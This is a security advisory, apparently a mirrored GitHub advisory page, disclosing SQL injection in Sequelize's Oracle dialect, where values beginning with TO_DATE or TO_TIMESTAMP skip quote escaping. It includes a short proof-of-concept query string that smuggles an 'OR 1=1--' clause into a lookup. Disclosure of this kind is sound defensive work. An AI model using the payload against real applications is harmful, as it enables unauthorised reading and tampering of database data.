GHSA-v8fg-2rw7-q452

ghsaUSosv

Sequelize: SQL Injection (Oracle DB)

Advisory ansehen veröffentlicht 2026-08-03Lizenz: CC-BY-4.0

### Summary SQL Injection is possible with strings only **if dialect is set to `oracle`**. The vulnerability was confirmed on Sequelize v6.37.3. ### Details The `escape` function defined in `sql-string.js` does not escape quotes if the value starts with `TO_TIMESTAMP` or `TO_DATE`. ```javascript } else if (dialect === 'oracle' && typeof val === 'string') { if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) { return val; } val = val.replace(/'/g, "''"); } ``` ### PoC Suppose the application has the following code: ```javascript var result = await models.Student.findOne({ where: { firstName: req.query.firstName } }); ``` An attacker can inject arbitrary sql expressions. `http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--` The resulted SQL will be: ```SQL SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY; ``` ### Impact Data theft and tampering.

01

beschreibt (1)

Zugehörige CVEs.

IDSchweregrad ausnutzbar
CVE-2026-69240US——
Sequelize is a Node.js ORM tool. Prior to 6.37.4, SQL injection is possible with strings only if dialect is set to oracle. The escape function defined in sql-string.js does not esc…
02

Referenzen

Externe Belege — Patches, Meldungen, Analysen.

scry

Advisories wie diese benennen die exponierten Produkte, die Angreifer auf Ihrer Angriffsfläche ins Visier nehmen. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan